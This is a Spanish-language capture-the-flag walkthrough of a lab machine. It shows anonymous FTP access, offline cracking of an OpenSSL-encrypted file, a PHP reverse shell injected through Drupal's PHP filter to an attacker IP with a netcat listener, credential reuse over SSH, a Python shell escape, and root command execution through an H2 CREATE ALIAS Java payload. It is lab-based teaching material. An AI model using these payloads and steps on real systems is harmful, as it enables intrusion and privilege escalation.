Fase 1: Reconocimiento (Escaneo de Puertos)
Comenzamos realizando un escaneo exhaustivo de puertos y servicios de la máquina objetivo (IP del Lab: 10.129.95.193) para identificar posibles vectores de entrada.
Escaneo Completo de Nmap
Ejecutamos un escaneo TCP completo de todos los puertos (-p-), solicitando detección de versiones (-sV) y scripts de enumeración por defecto (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.95.193
Resultados Clave de Nmap
El escaneo revela varios puertos abiertos de gran interés:
- Puerto 21 (FTP): Ejecuta
vsFTPd 3.0.3y permite el acceso anónimo (Anonymous FTP login allowed). - Puerto 22 (SSH): Ejecuta
OpenSSH 7.6p1 Ubuntu 4. - Puerto 80 (HTTP): Servidor web
Apache 2.4.29que corre el CMS Drupal 7. - Puerto 8082 (HTTP): Consola web de administración de base de datos H2 Console.
Fase 2: Descifrado de Credenciales y Acceso al Portal
1. Extracción del Archivo Cifrado por FTP
Nos conectamos al servidor FTP usando las credenciales anónimas (anonymous y contraseña en blanco) para buscar archivos expuestos:
ftp 10.129.95.193
Dentro del directorio /messages encontramos un archivo llamado .drupal.txt.enc. Lo descargamos a nuestra máquina local Kali.
2. Identificación y Descifrado del Archivo
Comprobamos el tipo de archivo con el comando file de Linux:
file .drupal.txt.enc
El archivo está cifrado con OpenSSL usando contraseña con sal (salted password) y codificado en base64. Utilizamos la herramienta bruteforce-salted-openssl para adivinar la clave de descifrado realizando un ataque de diccionario con el clásico rockyou.txt:
bruteforce-salted-openssl -f /usr/share/wordlists/rockyou.txt .drupal.txt.enc
La contraseña descubierta es friends. Con ella, procedemos a realizar el descifrado oficial del archivo usando openssl:
openssl enc -d -aes-256-cbc -in .drupal.txt.enc -pass pass:friends
El archivo descifrado contiene un mensaje dirigido al usuario Daniel, revelando su contraseña administrativa para el portal web: PencilKeyboardScanner123.
Fase 3: Intrusión y Ejecución Remota de Código (Drupal 7)
1. Acceso Administrativo a Drupal
Navegamos a la dirección web http://10.129.95.193 e iniciamos sesión en la interfaz de administración de Drupal con el usuario admin y la contraseña PencilKeyboardScanner123:
2. Inyección de Código PHP
Al revisar la configuración de Drupal, vemos que el módulo PHP filter está activo. Esto permite escribir y ejecutar código PHP directamente en el cuerpo de los artículos del portal web.
Creamos un nuevo artículo de contenido e inyectamos una shell reversa PHP tradicional (pentestmonkey) en el cuerpo del mismo. Configuramos nuestra IP de Kali (10.10.15.148) y el puerto de escucha (9001):
Antes de guardar, nos aseguramos de cambiar el formato de entrada (Text format) a PHP code para forzar la evaluación del script en el servidor:
Iniciamos un listener con netcat en nuestra Kali:
nc -lvnp 9001
Guardamos y visitamos el artículo recién creado (http://10.129.95.193/node/1) para provocar la ejecución:
Estabilizamos la terminal interactiva utilizando los comandos usuales de Python TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=bash
Fase 4: Compromiso del Usuario (Daniel)
1. Extracción de Configuraciones de Drupal
Buscamos en los directorios del CMS Drupal los archivos de configuración para encontrar accesos a bases de datos:
ls /var/www/html/sites/default/
cat /var/www/html/sites/default/settings.php
2. Consulta de Base de Datos y Comprobación de SSH
Entramos a la base de datos MySQL local para comprobar qué usuarios existen y sus hashes de contraseñas:
mysql -u drupal -p
# Introducimos contraseña: drupal4hawk
use drupal;
select * from users;
Dado que crackear el hash administrativo requiere tiempo, probamos si las credenciales previas encontradas en el mensaje descifrado (daniel y PencilKeyboardScanner123) son reutilizadas para el acceso directo por SSH al sistema operativo:
ssh daniel@10.129.95.193
Logramos conectarnos, pero observamos una particularidad: la shell por defecto del usuario daniel es un prompt interactivo de Python (>>>) en lugar de Bash.
3. Escape de Shell Python (GTFOBins)
Para obtener un entorno del sistema tradicional, recurrimos a GTFOBins para escapar de la shell de Python importando la librería os y cargando una shell /bin/sh:
Ejecutamos el escape en la terminal activa:
import os; os.execl("/bin/sh", "sh")
Ya con una shell normal, leemos la flag del usuario local:
whoami
cat user.txt
- Flag de Usuario (
user.txt):d0827dca33813afd213d7c66a471712c
Fase 5: Escalada de Privilegios a SYSTEM (Root)
1. Identificación del Servicio Local H2
Revisamos los procesos en ejecución buscando demonios locales con privilegios elevados:
ps aux | grep h2
El demonio h2-1.4.196.jar se está ejecutando como root en el sistema. Aunque inicialmente vimos en Nmap que el puerto 8082 (consola HTTP) está abierto, al intentar acceder directamente desde nuestra máquina atacante nos aparece un mensaje indicando que las conexiones remotas están desactivadas por política (webAllowOthers = false).
2. Creación del Túnel SSH (Local Port Forwarding)
Para saltarnos esta restricción y conectarnos directamente simulando tráfico local, creamos un túnel de reenvío de puerto local a través de nuestra conexión SSH del usuario daniel:
ssh -L 127.0.0.1:7000:127.0.0.1:8082 daniel@10.129.95.193
Ahora, abrimos nuestro navegador en Kali y entramos a http://localhost:7000 para acceder a la interfaz de login de la consola web de H2 Database de la máquina víctima.
3. Ejecución de Código Java en H2 Console
Iniciamos sesión en la base de datos (con JDBC URL por defecto: jdbc:h2:~/prueba y usuario sa con contraseña en blanco).
H2 permite a usuarios autenticados definir funciones personalizadas escritas en Java (CREATE ALIAS) y llamarlas directamente mediante sentencias SQL, permitiendo ejecución arbitraria de comandos en el servidor. Inyectamos la siguiente consulta para crear la función SHELLEXEC:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('id');
La consulta se ejecuta con éxito y el comando id nos devuelve que el proceso se está ejecutando como uid=0(root).
4. Lectura de la Flag Final (root.txt)
Con el alias configurado, simplemente llamamos a la función inyectada pasándole el comando para visualizar la bandera de root:
CALL SHELLEXEC('cat /root/root.txt');
- Flag de Administrador (
root.txt):4a87b8a0d6a9ac0e11746c29e7ca598d
Fuentes y Referencias
- bruteforce-salted-openssl Project: Herramienta de fuerza bruta para descifrar archivos protegidos con OpenSSL.
- GTFOBins: Python Escape: Hoja de trucos con comandos para evadir entornos interactivos de Python.
- H2 Database Command Execution: Documentación y conceptos detrás de la inyección Java de aliases en base de datos H2.